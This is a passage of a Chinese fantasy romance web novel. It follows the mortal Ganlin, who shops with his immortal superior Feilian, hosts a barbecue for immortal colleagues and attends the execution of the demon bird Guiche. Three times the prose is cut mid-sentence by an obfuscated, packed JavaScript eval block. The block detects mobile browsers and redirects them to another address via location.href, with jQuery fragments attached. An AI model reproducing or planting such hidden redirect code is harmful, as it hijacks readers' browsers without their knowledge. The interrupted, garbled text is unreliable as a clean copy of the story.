看着两人兵荒马乱的身影,甘霖乐不可支,然后立刻被米饭噎住,他赶紧抻着脖子灌了一碗汤,好不容易安稳下来,又被孰湖拍案而起的动静吓了一跳。 “怎么了,一惊一乍的。”甘霖有些心累地问,换了筷子一点点往嘴里填饭。 祸斗还深陷老婆“不爱我、不想我”的悲伤中不可自拔呢,不耐烦地问,“你干嘛?” “你看,鬼车被判了死刑,要在斩妖台处刑呢!”孰湖举着手机。 祸斗和甘霖拍案而起,“什么?!” 甘霖立刻去看孰湖的手机,上面打开了一个名为“天庭公布”的公众号,两分钟前的头条就是这件事。 【妖禽鬼车控制蛊雕杀害多名凡人,被判死刑,两日后于斩妖台处刑!】 直觉告诉甘霖,这是他离开以后飞廉不知道去找谁商议出的结果,“这样的判处是合理合法的吗?” 孰湖和祸斗神色奇怪地看他,“你为什么这么问,难道你们凡人杀人不用偿命吗?” 甘霖哭笑不得地解释,“当然要偿命!但你们不是凡人啊,鬼车之前杀了青丘百余人不是也没死,只是被封印至今吗,所以我才问问。” “说实话,以前确实如此,杀了神仙妖灵都不一定判死刑,杀了凡人就更不用了,那时候凡人外们多少是有些看不起凡人的,但现在不一样了,现在三界不光是在货币价值方面,在很多方面都做到尽量看齐了。”祸斗解释道。 甘霖点点头,看来是他想多了。 “不过这次判决下得这么着急,果然是因为她不光杀了人,还弄坏了赤霄笼吧,那可是上古神器,现在就算是修,很多材料不一定能找到不说,就是修了,品质也不一定能和从前一样了。”孰湖滑动着手机屏幕说。 甘霖“哎”了一声,“判决很着急吗?” “急啊。”孰湖点头,“我记得以前就算是有这种类似的事情,从调查到宣判要很久,从宣判到处刑就更不用说了,有的拖个几年十几年也都是有可能的。” 祸斗重新坐下,“对啊,毕竟天庭机构部门有些冗余,而我们寿命太长,做事习惯性比较慢。” 那果然还是有问题,甘霖掏出手机打给飞廉,电话一直到自动挂断也没有被接起。 “孰湖,这个能观刑吗?” 19.19.爱狐(十九)给你的一切都是真的 听到甘霖的问题,孰湖点头,“能啊,想看的都能去看,这次估计观刑的人会很多,毕竟已经有几十年没出过这样的事了。” “那我能去吗,你能带我去吗?”甘霖问。 孰湖想了想,“天庭多少年没去过凡人了……你是单位员工应该是可以的,但我不能带你去,我没那个本事和权限。” 甘霖只好看向祸斗,眼神期待笑容灿烂,“祸斗大人这么厉害……” 祸斗翘着腿似笑非笑地看着甘霖,“我是可以,不过我要回去陪我家小山鸡,不打算去观刑,你去找飞廉啊,别说一个你了,就算是一百个凡人,只要他想,三界没有去不了的地方。” 甘霖叹了口气,“他不接电话啊,现在也不知道在哪里。” “找我何事?” 飞廉的声音忽然响起,吓了甘霖和孰湖一跳,只有祸斗早就闻到了他的味道,一脸促狭地看着他。 “飞廉大人,你去哪儿了,忙完了?”甘霖问。 “见承泣。”飞廉坐在他旁边,“嗯。” “鬼车处刑的这件事,是不是为了吸引谏珂出来?她现在人在哪儿?” “是,送去天牢关押了。” “就不怕人劫狱吗?”甘霖问,这种时候,一般都是会有人来劫狱的吧。 飞廉没有回答,看样子已经是安排妥当了。 甘霖刚想问飞廉能不能带自己去观刑,飞廉已经起身离开了,好像过来就是为了告诉他一声似的。 算了,还有两天,也不急于一时,甘霖对祸斗和孰湖发出邀请,“你们两个明天有时间吗,来我家吃饭吧,飞廉大人送了我一辆房车,还有小院子,我们可以做火锅或者是烧烤,想吃什么都行,我手艺很好的。” “没问题!”孰湖和祸斗异口同声地答应。 “祸斗,你能给我迦楼罗的联系方式吗,我想请他一起,来吃个饭应该不会影响他孵蛋吧?” “当然不会,可以可以,他有两个号,我都给你,一定请他过来,他最喜欢凑这种热闹了!”祸斗高兴地摇起了无形的狗尾巴。 甘霖拿手机记下号码,“白泽大人说他也要来,也问问丁令威吧……” 飞廉已经走到了食堂门口,微微回头看了几人一眼,推开门离开了。 甘霖抬头看过去,低声自言自语,“飞廉大人不吃饭真是可惜。” 第二天一大早,甘霖本来打算拉上祸斗和孰湖一起去了离单位最近的购物广场买材料的,结果两个人也不知道是不是在洞府里睡死了,根本联系不上。 “飞廉大人,要不要去逛逛人间的超市?”他打电话给飞廉。 两分钟后,甘霖坐进了飞廉那辆熟悉的豪华跑车里,到了距离办事处最近的购物广场。 “我这两天风水不顺,特别倒霉,今天下床就崴脚,刷牙的时候还捅到牙龈出血,换衣服被柜门夹到了手,吃个樱桃硌到牙还吞下了樱桃核……”甘霖说着自己都觉得心累,“有飞廉大人跟着就安心多了,好歹不用担心磕断牙了。” 他絮絮叨叨地说,“我要不要去庙里上个香啊,还是去拜拜哪路神仙吧,大人有没有好的推荐,福神之类的?” “没用的。”飞廉接过他手中的购物车。 “为什么?”甘霖想了想,又推了一辆购物车过来,他要买很多东西,一辆车可能装不下。 “你这么倒霉,是因为那天不慎猜到了鬼车的血。”飞廉解释,“鬼车堕魔之前本就是不祥之鸟,天生就能吸食人的魂气,被处刑堕魔之后,她的血就变得极为邪秽,会招致不幸。” 甘霖停下脚步,不敢置信地看着自己的脚,“我说自从我醒来以后就不断地发生小意外,虽然我从生下来就挺倒霉的了,但这几天格外厉害,原来是因为这个。” 他看着飞廉表情可怜巴巴的,“大人,有办法去除邪秽吗?” “你昏迷的时候我已经把血迹清除了,但残留的邪秽并非外力可除,只能等它自己消散,你这几日小心一些。”飞廉移开视线。 甘霖叹气,“算了,习惯习惯就好了。” 两人先去买了食材。 “这是西北滩羊啊,虽然有点贵……买!来三份!这个牛排也新鲜,还有三文鱼,这个孰湖说过一次,给他做刺身,这个大骨头好,熬汤做火锅锅底,祸斗肯定喜欢……” 甘霖很快就把自己的购物车填满了,食材都是按照十人份买的,最新鲜最好的。 然后他又带着飞廉去了日用品去,“我得买点生活用品,啊,给新家添置生活用品,这种感觉真好,我做梦都想有这一天呢。” 飞廉拿出他放进购物车的东西,“这几条毛巾只有百分之五十棉,摸着也很硬。”实际上他看了一眼,这种毛巾是所有商品里最便宜的。 甘霖不在意地摆摆手,“没关系,只是擦擦脸而已,我天生丽质,不需要纯棉毛巾。” 说着他又拿了一提最便宜的卷纸和两把最便宜的牙刷,然后站在牙膏前面开始算,“这个120克三十三块九,这个90克二十七块,大的每克便宜两分钱。” 大的那支被放进了购物车里。 飞廉看着他购物车里的东西,“你现在不缺钱,请别人吃饭所有的东西都买的是最好的,不用对自己这么吝啬。” “没有啊,放在以前毛巾不用三年我都不带换的,就因为发了一笔横财才对自己这么好的。”甘霖不觉得有什么,“我从来没有请过客,大家对我都很好,多亏他们照顾我才能有这么多钱,买点好的是应该的嘛。” “拿最好的。” “啊?”甘霖正在看洗衣液,闻言一脸懵。 飞廉已经动手将他精心挑选的性价比最高最便宜的东西全都放了回去,然后拿了最好最贵的。 “大人?”甘霖抿抿唇,露出个灿烂的微笑,“不用这样,有钱也要省着花的。” “我报销。”飞廉背对着他抓紧了手中摸着发硬的毛巾,“你请他们吃饭也算是搞好同事关系,我作为领导应该鼓励,所以我报销。” 甘霖想说那你负责食材部分就好了,我的日用品就不必了,可他看着飞廉的背影最终还是没有说出这句话,而是顺从地拿下了最贵的高级香氛洗衣液,还拿了一盒极其没有性价比的洗衣凝珠。 “那就多谢大人了,让我也享受享受这些高级货。” 飞廉“嗯”了一声,带着他逛遍了超市,还买了几套最好的床品和真丝睡衣,最贵的洗护套装,就连拖鞋都二话不说买了最贵的真皮拖鞋,总之甘霖生活中用过没用过的东西他全都买了。 最后两个购物车也没够装,飞廉去办了一个最高级的VIP卡,有两个专门的服务员过来帮他们推了另外两个购物车。 两个小姑娘很年轻,二十岁左右的样子,跟在他们身后一脸兴奋,时不时窃窃私语,嘴角都要飞上天了。 甘霖一看他们的表情就知道她们误会了,更不要说还能隐约听到“肌肉攻美人受”这样让人面红耳赤的词语,有心解释又怕欲盖弥彰,他只能当什么都没听见了。 唉,她们哪里懂得,他和眼前这人,根本就是人仙殊途。 牛郎织女,七仙女和董永, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263861|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三圣母和刘彦昌,嫦娥和后羿,甚至是白素贞和许仙,自古以来,凡人和这些凡人外交往过甚都没有好下场的。 他只想做个平凡的普通人。 没什么放置空间的布加迪在两个凡人的眼皮子地下变成了一辆大空间的SUV,甘霖看向那两个服务生,没有在对方脸上看到任何异样的表情才松了口气。 四个购物车的东西摆满了后车厢和第二排座位,两人可以说是满载而归,就连户外桌椅飞廉都给他买了最贵的一套。 也不知道花了多少钱,但甘霖估算了一下,不会低于五位数。 在飞廉的帮助下把东西都拿进院子和房车后,甘霖想要请飞廉一起,但他什么都没来得及说,对方已经离开了。 余晖漫天的时候,他邀请的客人陆陆续续到了。 “今天是飞廉大人请客,我们买了超级多的东西,放心吃。”甘霖看向祸斗,“而且多亏祸斗我发了一笔横财,要是不够吃,还可以随时点外卖。” “哦,那个啊,我说账户怎么突然多了二十万,其实你不用分我的,都是小钱。”祸斗兴致勃勃地看着周围,“这小院子真不错,我和小山鸡也应该弄这么一个爱巢。” “不不不,那实在是太多了,你们先随便坐,饭马上就好。”甘霖道,飞廉给他装了一个超大的四开门冰箱,不然那些食材还真是放不下。 白泽和迦楼罗有一句没一句地聊着天走进了院子。 “小甘霖,我今天就带了一张嘴,不做饭哦。”白泽摆摆手。 甘霖干劲十足地穿好围裙,“不用,火锅和烧烤准备起来都简单,你们等着吃就行。” 祸斗已经黏在迦楼罗身边了,时不时地扔给青鸾蛋一个白眼,不过眼神大部分时候都粘在迦楼罗的脸上,也不管别人在场,亲得迦楼罗一脸口水。 “滚远点,把你的狗舌头给我收一收!”迦楼罗不胜其烦地怒吼。 祸斗面对他的时候也总是嗓门很大,“你好意思说!我看你根本一点都不想我,你是不是不爱我了!” 房车厨房的窗户正对着小院子,甘霖处理着肉菜,看得津津有味,“迦楼罗和祸斗两个人感情真好。” 孰湖在一旁打下手,“他俩可是三界有名的神仙眷侣,从来没有分开过,就因为这个,经常有仙侣请他们两个去主婚呢。” “真的假的?你们结仙侣这件事很平常吗,是不是都是神仙眷侣,永生永世的那种?” “才不是,毕竟活的时间太长了,什么事情都会感到厌倦和无聊的,能在一起几千年实属罕见,几百年那都算是感情好的,大部分也不会走到结婚的这一步,毕竟分手的时候比较方便嘛。”孰湖道。 “这样啊,也是,人类在一起几年就会相看两厌了。”甘霖表示理解地点点头,随口问,“那飞廉大人曾经有没有仙侣啊?” 孰湖想了想,“他都已经是活着的传说了,身上传出什么样的故事都不奇怪吧,但我觉得几乎都是假的,根本立不住脚。” “比如?” “有传说说承泣大人其实是飞廉大人曾经的仙侣的儿子,临死前托付给他,所以他才会尽心尽力一直抚养长大的。” “哇哦。”甘霖感叹了一声,“抚养旧情人和自己没有血缘关系的儿子,还真深情呢,不过我感觉他不像是这样的人。” “对吧!”孰湖立马找到了知音,“我也觉得不可能,飞廉大人就应该断七情斩六欲,立于群峰之巅,弹指大杀四方才对,这种苦情人设,不适合他啦。” 甘霖,“看不出来,你还是飞廉的毒唯。” 20.20.爱狐(二十)给你的都是真的 甘霖准备了足有十人份的食材,拉了电线到院子,架起电煮锅,不光准备了火锅,还拿出了今天买的野营烧烤炉和铁签子,准备做西北风味的烤肉。 “来来,这点忙让我帮你吧。”祸斗终于缓解了相思之情,凑过来搭手,往烤炉里的木炭上扔了个红色的光团,“无烟恒温哦。” 几个人在折叠圆桌前围坐,甘霖还拿出了几瓶买的红酒。 “我一个普普通通的凡人也算是因祸得福,才能在神仙驻凡办事处工作,虽然前后也不过一周,但得到了大家的照顾,就请大家吃顿饭以作感谢,还有不在这里的飞廉大人,他对我更是照顾有加,还给了我这样一个房子和院子,让我走向了人生巅峰……”甘霖说着环顾四周,语气感慨。 白泽喝了口酒,“小甘霖,你没有请飞廉一起过来吗?” 甘霖摇了摇头,“本来要请的,不过听说他从来不吃饭,应该也不会喜欢这种热闹的场合,所以就没请了,我会好好配合他工作来当作感谢地。” 白泽歪在椅子上,托着下巴笑了笑,“你要是张嘴的话……说不定呢。” 他声音很低,甘霖没听清,也没有追问,招呼他们吃饭,然后自己又去烤炉前烤肉了,烤完肉他又去摘了院子里的水果洗干净端上桌,完美尽到了地主之谊,“大家吃这个,是飞廉大人帮我种的,都是最好的品种,解解腻。” 白泽随手扔了个法术到树上,刚刚几乎被摘光的几棵果树没几秒就又挂满了果子。 “不愧是大人,太给力了。”甘霖笑道,“我本来还想找孰湖的,不过飞廉大人说孰湖做不到这样。” 白泽点头,“确实,不过飞廉可以。” “那还是算了,这种小事怎么能麻烦飞廉大人呢。”甘霖喝光杯中的酒,也有些微醺了,“其实我一直有个很奇怪的问题,白泽大人能给我解解惑吗?” 白泽眼神期待,“问吧,知无不言言无不尽,是关于飞廉的事吗?” 他这么一说,其他人也都看了过来,除了孰湖,就连迦楼罗和祸斗的眼神也都很期待。 甘霖眼神迷离地摇摇头,“不是,我对飞廉大人的事没那么感兴趣,我不过是你们漫长生命里的过客,该来则来,该走则走,没什么想知道的。” 他丝毫没有注意到别人奇怪的表情,“我就是很好奇,你们干嘛不在十八重冥司那么重要的地方装个摄像头啊,你知道人间的天眼吧,很好用的,要是你们也装上,一下不就能知道鬼车是谁放出来的吗?” “摄像头?”白泽都有些发愣了。 “对啊,很好用的,我举双手推荐,破案好帮手!”甘霖拍着胸脯道。 白泽看了看天空,半月优雅明亮,星子璀璨。 “小甘霖啊,这么多年,你还真是没什么变化,迟钝得可以。” “啥?”甘霖没听清。 “没什么。”白泽微笑,“你听说过障眼法吗?” 甘霖点点头,哪个国人能没听说过障眼法啊。 “这就是为什么装摄像头没有用了,障眼法是最低级的法术,是所有的‘凡人外’化形的基础,可以说但凡有点灵力的人,没有不会障眼法的,就算被摄像头拍到也没什么用,因为根本无法分辨真假。”白泽解释。 “不能给摄像头加个法咒之类的,让障眼法没用吗?” “就算是现在,也只有修行至少五千年以上,或者个别年纪不大,但天赋极高极强的神仙妖怪才能一眼看透障眼法,所以你说的法咒没有那么容易,况且要覆盖所有地方的摄像头就更难了。”白泽对着孰湖抬了抬下巴,“孰湖五千多岁了,还看不破障眼法呢。” “那是不是说孰湖天分不行啊。”甘霖压低声音问。 “孰湖于法术修行上天分确实一般,不过障眼法并不能成为衡量天分的标准,有些人天生于此有特长,有的人修行万年也未必能看破障眼法,还是分情况的。” 甘霖摇头赞叹,“怪不得大圣的火眼金睛那么牛逼呢。” “斗战胜佛确实属于天分极高的极少数。”白泽喝了口酒,抬脚踹了旁边没羞没臊压着迦楼罗甩舌头的祸斗一脚,“你现在不是狗,干点人事吧。” 两个大美男,不花钱就能看到的限制级画面,这多赏心悦目啊,甘霖看得非常满足。 迦楼罗羞臊难当,揪着祸斗的衣领就把人摔了出去,“滚一边去!” 祸斗已经喝醉了,抱着他的腿不撒手,一把鼻涕一把泪,“我的小山鸡啊,你和飞廉说说,把我带回去吧,我不想在这儿呆着了,孰湖那个洞一点都不舒服,而且我每天早上起来下面都……” 迦楼罗忍无可忍,一把把他扇回了狗的样子,还贴心地缩小了一半的体型,免得压坏甘霖的花圃和菜苗,祸斗虽然能说人话,但狗性占了上风,张嘴都是“嗷呜嗷呜”的狗叫。 甘霖默默掏出手机拍了好几张照片,还录了一小段视频,然后看着自己的小院子,“也不知道我这里有多少东西是障眼法变出来的。” “没有哦。” “没有。” 白泽和迦楼罗异口同声地否认了他的猜测。 两人互相看了一眼,迦楼罗抱着青鸾蛋起身,一脚踹开耍酒疯的傻狗,“我吃饱了,就先回去了,孰湖,你别忘了把这只狗带回去,别给别人添麻烦。” 孰湖是从头吃到尾,手边一大把铁签子,此时嘴里还塞满了烤肉,只顾得上比个OK的手势。 迦楼罗立刻消失了,只剩下一只大狗瘫在地上,嗷呜嗷呜地哭,还夹杂着几句人话,“小山鸡啊,没良心啊!” 甘霖被吵的头大,还在犹豫要不要让孰湖先别吃了把祸斗送回洞府去,白泽已经冷着脸,弹了下手指,一条光华如月的白绫就结结实实地绑住了祸斗的狗嘴。 “其实你扔个什么静音法术就行了。”甘霖犹豫道,这到底算虐待人还是虐待动物啊。 白泽心情不错,优雅地翘起一条腿,有种高雅圣洁又魅惑众生的矛盾感,“我喜欢这样,看着痛快。” “呵呵。”甘霖转移话题,“您刚才说没有,什么没有?” “我说你这个小院子里,包括那辆房车里外,没有什么东西是用障眼法变出来的。” “啊,我还以为都是障眼法呢,难不成你们神仙要什么东西也要花钱买,不是想变什么就变什么吗?” 白泽呼噜了一把甘霖毛乎乎的脑袋,“你看看,刻板印象了不是。” 他伸出白皙纤长的双手,两个掌心一边一串樱桃,看上去一模一样,“猜哪个是真的。” 这谁能看出来,甘霖随便瞎指了一个,“这个吧。” 白泽低笑,“尝尝。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276861|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>甘霖拿过塞进口中,汁水丰沛,脆甜可口,完美的大樱桃,“好吃。” “这个樱桃,你吃一车都不会觉得肚子撑。”白泽道。 “啊,这个是假的,是你用障眼法变出来的?”甘霖品了品口中的感觉,完全没有任何异样。 “宾果!”白泽笑道,“障眼法说白了就是无中生有,是虚幻的假象,是骗人的东西,一般都有时效,若想长久维持,则需要不停地补给灵力,否则法术自带的灵力消耗光,立马就会显出原形。” “这个我知道,狸猫妖怪用叶子变成钱骗人,但没一会儿那些铜钱就会重新变成一片叶子,对吧?”白泽想起自己曾经看过的一个动画片。 “没错。”白泽说着把另外一串樱桃递给甘霖,“这个,是你那棵樱桃树上的,我只是把它变过来而已。” 甘霖把这两个樱桃也吃了,和刚才障眼法的樱桃的味道和口感没有任何区别,“所以很多东西不是你们说变就变出来了,而是你们本来就有,对吧。” “嗯,就像这院子里的每一样东西,一定都是飞廉先买来,然后才变出来送给你的,所以都是真实存在的,就算有一天他陨落消失,这些东西也都会在的。”白泽将被子里剩下的酒一饮而尽,然后起身,“今天很开心,小甘霖,手艺确实不错,以后记得经常叫我,我该走了。” “您喜欢就好。”甘霖起身送他。 祸斗的酒似乎醒了些,用爪子扒开嘴上的白绫,扑过来赖在白泽脚下。 祸斗:“白泽,我想回家了。” 白泽:“甘霖,我想吃狗肉。” 甘霖:…… “小山鸡……呕!”祸斗张嘴就吐,面前哗啦啦地出现了一小堆火红的灵石。 白泽微笑,“收着吧小甘霖,就当这家伙给你的精神损失费了。” 甘霖也微笑,“好,麻烦白泽大人直接收走,把钱打到我账户上就行。” 孰湖鼓着腮帮子摸过来,双手举起虽然缩小了但比他人形还是大一倍的祸斗,“白泽大人,我这就把他带回去,甘霖,再见。” 白泽撩了把头发,一脸嫌弃地收起祸斗的灵石,“所以说我最讨厌狗了,拜拜!” 小院子终于安静了下来,甘霖在椅子上坐着看了会儿天空,夜色静谧,月华皎洁,这么多年,他好像从来没有此刻如此闲适的心情,不愁工作不愁钱,真的是人生巅峰。 他坐了很久,眼看快十一点了,才摇摇晃晃起身收拾东西。 食材基本上都被孰湖吃完了,收拾起来也轻松,快速收拾好后,他躺在了房车里属于自己的那张豪华双人床上。 虽然几乎是午夜了,但办事处的小城堡还是有很多办公室的灯亮着,毕竟神仙和凡人的作息不同,三界各自的时间也都不一样,所以二十四小时楼内都有人在工作。 一只手抓在了201外勤科办公室的门把手上,旋开门锁推开了门。 飞廉坐在窗台上,转头看着来人,“大晚上你不睡觉,来这里干什么?” 甘霖笑着走进来,揉着脑袋上出门时磕出来的包,“我就觉得大人一定在这里。” 他觉得飞廉根本没有所谓的仙山洞府,不出外勤的时候,就一直待在这间办公室里。 “大人……” 飞廉看他。 “何事?” 21.21.爱狐(二十一)飞廉大人送你一程 甘霖的视线划过飞廉手边打开的保鲜盒,里面的樱桃看上去一个也没少,“樱桃怎么样,好吃吗?” 飞廉咬着口中的老冰棍,“还行。” 甘霖坐在他对面的椅子上,“飞廉大人好像很喜欢吃冰棍,水吧台那边的冰箱里都装满了,怪不得你的手总是冰凉的。” 其实自从第一天报道以后他这才是第三次进办公室,连自己的办公桌都还没有,飞廉喜欢吃冰棍还装满一个小冰箱的事情他也是听孰湖说的:飞廉不吃饭,只吃冰棍。 飞廉没说话。 “大人,神仙天天吃冷饮,会闹肚子吗?” “不会。” 甘霖看向窗外,这里能看到他的小院子和房车,但就像摆了个模型一样,比实际要小得多,“不愧是神仙的空间压缩技术,真厉害。” 飞廉深深地看着甘霖,对方的脸蛋看上去白皙软嫩,像个刚出生的小羊羔,眼周带着微醺的粉色,一看就是喝酒了,笑容甜美灿烂,却让他感到烦躁,他一口将剩下的小半块老冰棍全部吃掉,咔吱咔吱咬碎,吞了下去,喉结几乎要戳破皮肤,在他颈前滚动了一下。 甘霖忽然觉得酒气上头,莫名烧脸,他拍了拍自己的脸颊,趴在桌子上,“我还请了承泣,他甩给我两个字,不去,哈哈,我也给东王公打电话了,还是无法接通,丁令威也是,谢了我的好意但没时间来,大家都很照顾我,我今天请他们吃饭也是感谢他们,不过,我最想感谢的……其实是你。” 他大眼睛看着飞廉,有些不自觉地娇憨,说的话就跟绕口令一样,“我知道你不吃饭,不过之前吃过一次那就是能吃,所以能不能赏脸吃顿我做的饭。” 飞廉“嗯”了一声,把冰棒棍弹进垃圾桶,“等明天鬼车处刑的事情结束后。” 说完停了几秒,他又问,“可以吗?” 甘霖已经有些迷瞪了,他从臂弯里抬头,眼神不怎么聚焦看了飞廉一眼,“当然可以啊。” 说完他又把脑袋塞进了臂弯里,没一会儿就传来了平稳的呼吸,他睡着了。 飞廉走到甘霖身边,轻轻摆手,甘霖就飘了起来,平躺在半空中却像是躺在舒服的床上,甚至还换了个姿势,嗓子里咕哝了几声。 飞廉的唇角勾起个转瞬即逝的浅笑。 手机响了一声,他拿出一看,是承泣的消息。 承泣发过来一张图片,是祸斗朋友圈的截图,还附加吐槽:【他也叫我了,我没去,你看看,叫了一圈美男子围着他,各种风格类型,他干嘛,方便自己发花痴?也太不安分了!】 飞廉收起手机,捏了把甘霖的脸颊,打了个响指,直接把人送回房车的床上去了。 甘霖还想着怎么求飞廉带他去天庭观刑,飞廉就主动问他了,“想去?” “想。” “你知道这是为了引谏珂或者更背后的主使,如果他们来,免不了要打一场,可能会有危险。” 甘霖抬头,“飞廉大人会让我有危险吗?” “不会,只要你不擅自行动。” “我保证乖乖的。” 下午三点,飞廉带着甘霖上了天庭。 甘霖抓着飞廉的胳膊,真心实意地紧张了一下,结果还没眨眼就到了。 没有任何一个凡人不曾向往天庭,从小到大,那些各种类型的玄幻作品刻板而又清晰地在每一个国人心中描绘了想象中的仙界。 甘霖很期待亲眼看到这个曾经只存在于想象中的地方,可当他看到真正的天庭时,只想问问多年前的老剧导演,是不是真的有神仙做场景指导,不然怎么能迎合凡人的刻板印象到这种程度。 他都以为自己到了哪个仙侠剧的片场。 总之就是仙山楼阁,璇霄丹阙,烟波缥缈,美仑美幻,超凡脱俗,极其圣洁,虽然感觉要比电视剧高级百倍,但总之还是很眼熟的。 他伸手捞了一把腿边缭绕的白雾,也和干冰制造的雾气完全不同,又凉又柔,还有一种即使是他这个凡人也能明显感受到的灵气。 “跟紧。”飞廉走出几步,微微回首对摸着白玉栏杆在原地踟蹰的甘霖道。 甘霖抬脚往前,“来了。” 他们走在这个几乎纯白世界里,一个白玉打造的九曲桥上,周围可以看到远近不同,有高有低,漂浮在云气中的浩渺仙山和宫阙。 神奇的是这个九曲桥一转一景,每次拐个弯,周围的景色都会发生变化,甘霖沉浸式欣赏,结果再一转弯,眼前骤然变化,白色世界变成了黑红色,还出现了很多人。 他们站在一个像是小型斗兽场一样的圆形建筑,一圈是逐渐变高的阶梯,现在已经站满了人,中间是直径二十米左右的黑底红色图腾的处刑台,中间趴着一个人影。 甘霖懵逼地回头一看,他们来时的纯白世界和白玉九曲桥已经不见了。 “这里就是斩妖台?” “嗯。”飞廉带着他从台阶上一步步走下去。 所有的人都在看他们,飞廉一脸冷漠坦然,有上司罩着,甘霖也没觉得有什么不自在,睁着漂亮的大眼睛观察着这些前来观刑的“凡人外”。 既有短发现代装束的,也有长发古装的,有男有女,有仙有妖,他还看到了熟悉的身影。 在第一排正北方向类似领导席的地方,白泽坐在那里对着他轻轻招手,张嘴无声地打了个招呼:你好啊,小甘霖。 白泽旁边,主席台的正中间坐着承泣,对方乜斜了他一眼,然后就跟没看到他似的,坐在那儿一动不动。 这死孩子到底像谁了啊! 甘霖撇嘴吐槽,不知道为什么,每次看到承泣那个死样子他总有种教育教育的冲动。 “风神大人,请上坐,这次处刑由冥君殿下监督,白泽大人主持,他二位已经落座了。”一位穿着一身灰色西装的中年人长相的仙官过来道。 飞廉轻点头,“英招不在吗?” 仙官身体微躬,对飞廉很是恭敬,“英招大人闭关中,天帝陛下就将事情全权交给冥君殿下了,殿下特意请了白泽大人过来。” 飞廉没再说什么,跟着仙官坐在了承泣旁边。 即使人人都知道飞廉厉害,不过看现在这个座位,显然正中间的承泣地位更高,即使他是年纪最小的。 “你怎么把他带来了,孰湖呢?你们外勤科就没别人了吗?”承泣问飞廉。 飞廉没说话,抱臂靠在靠背上,漆黑深沉的眼睛紧盯着处刑台正中央恢复人形的鬼车。 甘霖把脑袋凑到承泣旁边,笑着问,“冥君大人,我为什么不能来呀?” 承泣睨了他一眼,“你来有何用?是能打还是能跑?” “我能撑场子啊,我长得好看。”甘霖道,“反正比起您和白泽大人的近侍来说,我是最好看的,这样也显得飞廉大人比较尊贵。” 这句话倒是事实。 领导席坐着三个人,三人后面都站着一位近侍,白泽后面的是甘霖之前见过,那个前来报告蛊雕失踪一事的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289036|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛头人。 承泣后面也是他初死还阳那次见过一面的,承泣的副手,一个全黑西装,两颊凹陷颧骨高耸,丧眉耷眼,脸色灰白没什么活气的中年人,甘霖记得他的名字好像叫朱晦。 “朱晦年轻时也是一表人才。” 甘霖看了眼朱晦,“你这么说他好像并没有很高兴。” 承泣抬眼看向甘霖,“脸长得好看有什么用,不过也只能招蜂引蝶罢了。” “怎么没用呢。”甘霖笑眯眯,“承泣大人说话这么招人烦,要不是长得好看,早就被人打死了吧?” 承泣一时语塞,最后也不知道想起什么,冷冷瞥了甘霖一眼,没有再说话了。 “布置好了吗?”一直默不作声的飞廉问。 “嗯,四方天门的守卫都撤掉了一部分,现在就等幕后黑手自投罗网了。”白泽道。 甘霖有些不解,“怎么能保证那个幕后黑手一定会出现呢,如果鬼车只是他的棋子,被斩杀也不过就是丢了一个棋子,他会为了一颗棋子冒险来法场吗?” “不能保证,如果来了,我们一石二鸟,如果不来,鬼车本来也该死了。”白泽说着有些叹息,“我问了她,她怎么也不肯说差使蛊雕吃人吸魂的目的。” “来或者不来,试试就知道了。”飞廉起身。 “大人?”甘霖道。 “你在此处不要乱动。”飞廉说完就走上了处刑台。 所有人都在看着他,但没有任何人出声质疑他的行动。 他半蹲在鬼车身前,“鬼车,你猜谏珂会不会出来救你?” 鬼车微微抬头,漂亮的眼睛透过凌乱的长发看着眼前如神明般无情无欲,又如恶鬼般冷酷残忍的飞廉,勉强笑了笑,气息短促,“风神大人……你,你相信报应吗?” 飞廉没有回答她的问题,“他既能悄无声息地潜入第十八重冥司,就能潜入这九重天,若是要来,此刻应该已经在某处看着这里了。” 他站起身,朝鬼车扔了个法决,鬼车瞬间变回了原形,原本的十首先后被斩,如今只剩下两个孱弱的脑袋,八个残颈上的血洞汩汩流血,黑红的血液很快就铺满了半个处刑台,腥臭的味道也散逸开来。 甘霖看了一圈,众神几乎都古井无波,即使偶有表情,也不过是对这污秽腥臭的嫌弃。 他记得鬼车曾也是禽鸟族的大神,若是没有青丘一事,如今应该也和迦楼罗一样位居要职,受人尊敬吧。 飞廉伸手,手中出现了一把似玉非玉,似铁非铁,青中带蓝,又透着点绿色的长柄眉尖刀。 他悬在半空,居高临下看着鬼车,灵力在周身旋动,半扎的头发散开,俊美无匹,冷酷无双。 “鬼车,我亲自送你一程,也算抬举你。” 鬼车笑得浑身发抖,两个巨大的鸟头垂在血污中,没有丝毫挣扎的力气。 “说得对,能让飞廉大人送我一程,我算没白逃跑这一遭。” 